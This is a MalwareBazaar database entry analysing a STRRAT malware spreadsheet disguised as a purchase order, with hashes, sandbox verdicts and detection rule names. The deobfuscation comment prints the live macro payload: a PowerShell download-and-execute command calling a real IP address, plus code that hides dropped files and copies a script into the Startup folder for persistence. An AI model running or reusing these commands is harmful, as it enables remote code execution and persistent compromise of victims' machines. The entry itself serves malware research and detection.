MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


STRRAT


Vendor detections: 9


Intelligence 9 IOCs YARA 4 File information Comments
Download sample Add tag Delete this sample Report a False Positive

SHA256 hash: f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9
SHA3-384 hash: de0221127cd2d8115d593b59b4afd40b4de09dd11dfb4d22c01c31454932ddb7343d6e436d9159204bc32613d61ed974
SHA1 hash: e1273963b7b1b7613f77e0ce353c108ae7557968
MD5 hash: 34339f5f8f3b303aad00272edfa2827f
humanhash: william-mississippi-fish-failed
File name:purchase order-419617892#..xlsb
Download: download sample
Signature STRRAT
Create hunting rule
File size:71'350 bytes
First seen:2021-08-30 18:22:18 UTC
Last seen:Never
File type:Excel file xlsx
MIME type:application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
ssdeep 1536:7zTxsMK1oaZhV8nmSb4wjE7zF0Rhdv1hQzMrTsYm+kD:7HxsMGTkb4GE0DrTsSo
TLSH T1D663AFB67E4DC084D8673AF8B3C976B479040D771AC6E17E1488587E319AFC2126DCAB
Reporter AndreGironda
Tags:macro STRRAT xlsb xlsx


Avatar
AndreGironda
XLMMacroDeobfuscator(v0.1.6) - https://github.com/DissectMalware/XLMMacroDeobfuscator
File: /Users/andreg/Downloads/359/purchase order-419617892#..xlsb
Unencrypted xlsb file
[Loading Cells]
auto_open: auto_open->Macro1!$Q$6663
[Starting Deobfuscation]
CELL:Q6663 , FullEvaluation , GOTO(K6642)
CELL:K6642 , FullEvaluation , SET.NAME(cmd,cmd /c powershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo'))

Microsoft.PowerShell.Utility\\Invoke-Expression
$client = new-object System.Net.WebClient
$client.DownloadFile($url2,$dir3);
$url2 = 'http://54.202.26.55/esfsdghfrzeqsdffgfrtsfd.zip'
(new-object -com shell.application).namespace($Mps).CopyHere((new-object -com shell.application).namespace($dir3).Items(),4 + 16) | Out-Null
remove-item $dir3 | Out-Null
Get-ChildItem -path $Mps -Recurse -Force | foreach {$_.attributes ="Hidden,System"}
$xvwe = 'Sys.cmd'
$startup = [System.Environment]::GetFolderPath("Startup") + "\" + $xvwe
Copy-Item $cmdxx $startup | Out-Null
[System.Threading.Thread]::Sleep(3000)
& $cmdxx

Intelligence

File Origin
# of uploads :
1
# of downloads :
295
Origin country :
n/a
Vendor Threat Intelligence
Malware family:
n/a
ID:
1
File name:
purchase order-419617892#.xlsb
Verdict:
Malicious activity
Analysis date:
2021-08-30 15:23:40 UTC
Tags:
macros40
Link:
https://app.any.run/tasks/f70b9706-b581-487f-a628-45d51a9a1ff0

Note:
ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample
Verdict:
Legit
File type:
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
Has a screenshot:
False
Contains macros:
False
Detection(s):
TwinWave.EvilDoc.XLSBLOLBINHammerToFall.20210414.UNOFFICIAL
Create hunting rule

TwinWave.EvilDoc.XL4MDottedQuadDancingInHeaven.20210421.UNOFFICIAL
Create hunting rule

Result
Verdict:
Malware
Maliciousness:

Behaviour
Sending a UDP request
Creating a window
Creating a process with a hidden window
Connection attempt
Sending an HTTP GET request
Creating a file
Running batch commands by exploiting the app vulnerability
Launching a file downloaded from the Internet
Result
Verdict:
Malicious
File Type:
OOXML Excel File with Excel4Macro
Link:
https://app.docguard.net/f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9/results/dashboard
Payload URLs
URL
File name
18.222.206.129
workbook.bin
Document image
Image:
Download PNG
Document image
Result
Verdict:
MALICIOUS
Link:
https://labs.inquest.net/dfi/sha256/f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9
Details
Macro Execution Coercion
Detected a document that appears to social engineer the user into activating embedded logic.
Result
Threat name:
STRRAT
Create hunting rule
Detection:
malicious
Classification:
troj.expl.evad
Score:
100 / 100
Link:
https://www.joesandbox.com/analysis/841847
Signature
Document exploit detected (process start blacklist hit)
Exploit detected, runtime environment dropped PE file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Powershell drops PE file
Sigma detected: Drops script at startup location
Sigma detected: Encoded IEX
Sigma detected: Microsoft Office Product Spawning Windows Shell
Sigma detected: Powershell Download and Execute IEX
Suspicious powershell command line found
Yara detected AllatoriJARObfuscator
Yara detected STRRAT
Behaviour
Behavior Graph:
Download SVG
behaviorgraph top1 signatures2 2 Behavior Graph ID: 474287 Sample: purchase order-419617892#..xlsb Startdate: 30/08/2021 Architecture: WINDOWS Score: 100 63 Multi AV Scanner detection for submitted file 2->63 65 Sigma detected: Powershell Download and Execute IEX 2->65 67 Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) 2->67 69 6 other signatures 2->69 11 EXCEL.EXE 53 13 2->11         started        14 cmd.exe 2->14         started        process3 file4 51 C:\...\~$purchase order-419617892#..xlsb, data 11->51 dropped 16 cmd.exe 11->16         started        20 cmd.exe 14->20         started        process5 dnsIp6 53 54.202.26.55, 49165, 80 AMAZON-02US United States 16->53 61 Suspicious powershell command line found 16->61 22 powershell.exe 15 347 16->22         started        26 java.exe 2 20->26         started        signatures7 process8 file9 41 C:\User\bin\zip.dll, PE32 22->41 dropped 43 C:\User\bin\wsdetect.dll, PE32 22->43 dropped 45 C:\User\bin\w2k_lsa_auth.dll, PE32 22->45 dropped 47 133 other files (86 malicious) 22->47 dropped 73 Powershell drops PE file 22->73 28 cmd.exe 22->28         started        30 java.exe 2 26->30         started        signatures10 process11 process12 32 cmd.exe 28->32         started        process13 34 java.exe 14 32->34         started        dnsIp14 55 8.8.8.8 GOOGLEUS United States 34->55 57 140.82.121.3 GITHUBUS United States 34->57 59 2 other IPs or domains 34->59 71 Exploit detected, runtime environment dropped PE file 34->71 38 java.exe 13 34->38         started        signatures15 process16 file17 49 C:\Users\user\...\jna1339616147465514487.dll, PE32 38->49 dropped
Detection:
n/a
Link:
https://mwdb.cert.pl/sample/f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9/
Threat name:
Document-Word.Trojan.IcedID
Create hunting rule
Status:
Malicious
First seen:
2021-08-30 01:50:01 UTC
AV detection:
5 of 46 (10.87%)
Threat level:
  5/5
Detection(s):
Malicious file
Link:
https://check.spamhaus.org/check/?searchterm=6feotiqisa42m35getq777253rnmkgio5h666nna5fzxew3a7peq._file
Result
Malware family:
n/a
Score:
  10/10
Tags:
macro xlm
Link:
https://tria.ge/reports/210830-tdbcfazrd2/
Behaviour
Checks processor information in registry
Enumerates system info in registry
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Program crash
Drops startup file
Loads dropped DLL
Blocklisted process makes network request
Executes dropped EXE
Process spawned unexpected child process
Malware Config
Dropper Extraction:
http://54.202.26.55/oo
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Malicious File
Score:
1.00
Link:
https://yomi.yoroi.company/submissions/f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:ach_Dridex_xls_20200528
Create hunting rule
Author:abuse.ch
Rule name:ach_Quakbot_xlsb_20201023
Create hunting rule
Author:abuse.ch
Description:Detects Quakbot XLS
Rule name:silentbuilder_halo_generated
Create hunting rule
Author:Halogen Generated Rule, Corsin Camichel
Rule name:zloader_halo_generated
Create hunting rule
Author:Halogen Generated Rule, Corsin Camichel

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Malspam

STRRAT

Excel file xlsx f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9

(this sample)

STRRAT

Java file jar 685549196c77e82e6273752a6fe522ee18da8076f0029ad8232c6e0d36853675

Cape
Cape
https://capesandbox.com/analysis/183830/
  
Link
https://tria.ge/210830-jv3r4da3sa
  
Dropping
SHA256 685549196c77e82e6273752a6fe522ee18da8076f0029ad8232c6e0d36853675
  
Delivery method
Distributed via e-mail attachment

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